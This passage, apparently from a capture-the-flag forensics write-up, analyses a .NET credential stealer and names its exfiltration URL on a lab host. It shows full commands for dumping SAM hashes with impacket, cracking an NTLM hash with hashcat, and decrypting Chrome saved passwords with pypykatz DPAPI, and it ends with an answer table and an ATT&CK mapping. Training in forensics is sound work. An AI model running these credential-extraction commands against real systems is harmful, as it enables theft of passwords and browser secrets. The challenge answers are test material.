The ?11? method is an asynchronous method used to exfiltrate the stolen key to the attacker’s server. The actual exfiltration logic is in the ?1? struct, which is the state machine for the asynchronous method. Analyzing the ?1? struct reveals the exfiltration URL.

To do this, I needed to check the MoveNext() method of the ?1? struct, which contains the actual logic of the asynchronous method. This means checking the async state machine for the ?11? method, since the ?11? method shown above is only the async/await wrapper generated by the decompiler (dnSpy in this case).

To view the async state machine, I had to disable the Decompile async methods (async/await) option in dnSpy settings: View -> Options -> Decompiler -> C# -> Uncheck Decompile async methods (async/await).

alt text

After that, I could see the actual code of the ?11? method without the async/await syntax. Analyzing the code revealed the exfiltration URL.

alt text

The same obfuscated strings are used in the code, so I decoded them using the same method as before.

alt text

This function gzips the file that needs to be exfiltrated, then sends it to the attacker’s server using an HTTP POST request with the stolen key as the endpoint.

The answer is http://check.microsoftcloudservices.htb:8000/update/.

Task 8

What is the exfiltrated username:password?

The exfiltrated data is the Chromium AES master key, which is used to decrypt Chromium data such as cookies and saved passwords. To decrypt the data, I needed the encryption key.

First, I needed to get the GUID and SID of the m.thorne user.

alt text

  • GUID is 5915b1e9-8e5d-48dd-b7fd-65f3ace32780
  • SID is S-1-5-21-1291622023-1877101182-1066255875-1001

Next, I needed to recover the Windows password. Using the SAM and SYSTEM registry hives from the image, I used impacket to dump the password hashes.

linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Target system bootKey: 0xf848aa522b5e39907ca9dc63c160e859
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0868e02e612c68e42092ed7435511bba:::
m.thorne:1001:aad3b435b51404eeaad3b435b51404ee:3716e9804c41b32fe09dcb2aa4c98071:::
[*] Cleaning up...

I used hashcat to crack the password hash of the m.thorne user.

linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
 
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-14700, 2866/5733 MB (1024 MB allocatable), 28MCU
 
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
 
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
 
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
 
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
 
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
 
Host memory allocated for this attack: 519 MB (6768 MB free)
 
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
 
3716e9804c41b32fe09dcb2aa4c98071:BlueAngel25
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 3716e9804c41b32fe09dcb2aa4c98071
Time.Started.....: Mon May 25 14:33:56 2026 (1 sec)
Time.Estimated...: Mon May 25 14:33:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 12384.3 kH/s (0.37ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 11382784/14344385 (79.35%)
Rejected.........: 0/11382784 (0.00%)
Restore.Point....: 11354112/14344385 (79.15%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: Bochito -> BORO28
 
Started: Mon May 25 14:33:55 2026
Stopped: Mon May 25 14:33:58 2026
linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> hashcat -show hash.txt
The specified parameter cannot use 'how' as a value - must be a number.
 
linux@ANM-<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration [255]> hashcat -m 1000 hash.txt --show
3716e9804c41b32fe09dcb2aa4c98071:BlueAngel25

The password is BlueAngel25. I then used pypykatz to retrieve the browser credentials with this password.

linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set mkf ffffbc8fe1f8c1b0-5915b1e9-8e5d-48dd-b7fd-65f3ace32780
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set sid S-1-5-21-1291622023-1877101182-1066255875-1001
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set pass BlueAngel25
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi prekey password $sid $pass
da08b6ad5863d1d89acc076bef2721d73fe7f4c1
0981da863b062d2a5de530c5567a77d46c3eb923
4df02a86e99e3f09e9a67976bd88bac09cdfdfd6
e9609f8a17baa6bbcfd4fc9098570763cc0eb665
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> set prekey da08b6ad5863d1d89acc076bef2721d73fe7f4c1
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi masterkey -o ./masterkey.json $mkf $prekey
linux@<REDACTED> /m/c/U/q/D/H/forensics_comfortable_exfiltration> pypykatz dpapi chrome --logindata "User Data/Default/ffffbc8fe30c00d0-Login Data" ./masterkey.json "User Data/ffffbc8fe30ba180-Local State"
file: User Data/Default/ffffbc8fe30c00d0-Login Data user: admin-03 pass: b'yiz9yzf3HAnhw49hRCtxXEtsL' url: http://dash.night-fall.htb:9080/

The answer is admin-03:yiz9yzf3HAnhw49hRCtxXEtsL.

Questions and Answers

TaskQuestionAnswer
1There is an installed service disguised as a Microsoft component. What is the full path of the executable?C:\Temp\Microsoft Cache\updater.exe
2The injector shadows an object into the HKCU registry. Using its CLSID, what is the name of the object?ADODB.Stream
3Following its self-duplication, the malware drops a secondary file onto the system. What is the filename of this secondary file?kathcjaz.quh
4What is the (C#) Class Name and the corresponding CLSID that’s exposed to the COM API (Name:{GUID})?GrumpyFisherman:{b3ccd9d8-ffec-4de0-8005-185a6364cedb}
5What is the CLSID responsible for calling the .NET function that installs the malicious service?{0128ad20-af37-4421-851c-5c06de5c2b2c}
6One of the .NET code’s functions disables BitLocker protection. Which __WINDOWS_CLSID is responsible for that?{A7A63E5C-3877-4840-8727-C1EA9D7A4D50}
7What is the complete exfiltration URL without the key?http://check.microsoftcloudservices.htb:8000/update/
8What is the exfiltrated username:password?admin-03:yiz9yzf3HAnhw49hRCtxXEtsL

MITRE ATT&CK Mapping

Observed ActivityATT&CK TacticATT&CK Technique
Malicious Microsoft Update service installed from a temp pathPersistenceT1543.003 - Create or Modify System Process: Windows Service
HKCU CLSID shadowing used for COM hijackingPersistenceT1546.015 - Event Triggered Execution: Component Object Model Hijacking
.NET class exposed through COM APIExecutionT1559.001 - Inter-Process Communication: Component Object Model
Secondary payload dropped as kathcjaz.quhDefense EvasionT1027 - Obfuscated Files or Information
Browser process token stolen and reused for DPAPI accessDefense EvasionT1134.001 - Access Token Manipulation: Token Impersonation/Theft
Chromium master key and saved browser credential recoveredCredential AccessT1555.003 - Credentials from Password Stores: Credentials from Web Browsers
BitLocker protection disabled through FveUi COM interactionDefense EvasionT1562.001 - Impair Defenses: Disable or Modify Tools
Stolen data compressed and sent to the attacker’s HTTP endpointExfiltrationT1041 - Exfiltration Over C2 Channel

Open Wound

Description

TransitNode, a critical logistics provider, has suffered a severe security breach on their public-facing web server. Following suspicious activities tied to the Rust Faction proxy, the company enacted emergency measures and shut down primary services, replacing the main site with a basic maintenance notification. However, the disruption continued unabated, proving Gilded Weaver had already established a persistent backdoor deep within the infrastructure and was returning to exploit their trusted access. Network traffic was captured during this secondary assault, and a disk image of the compromised staging server was extracted. Task Force Nightfall needs you to investigate these artifacts, uncover how Directorate 9 maintained their hidden persistence, track their lateral movements during the return visit, and recover the critical routing data they targeted before the blackout triggers.

Walkthrough

Stay Hydrated

Description

Horizon Trust Solutions is panicking after a disguised wiper attack encrypted deployment servers. The perpetrators, using the DeadDrop Cartel proxy, left no ransom note, exposing their motive as state-sponsored sabotage. Directorate 9 operatives lurked in our network for months, mapping federation trusts and harvesting credentials to orchestrate this deep-seated assault. At stake is the core validation framework for the Trusted Supply Chain Act, built for the National Election Commission. With polls opening in days, the pristine deployment package was finalized for handover. In a calculated move, Vane’s forces struck at the eleventh hour to maximize public panic and disruption. The geopolitical repercussions are immense; failing to deliver compromises the election and cements Korvia’s leverage. Task Force Nightfall implores your expertise to recover the uncorrupted release package from the crippled staging environment.

Walkthrough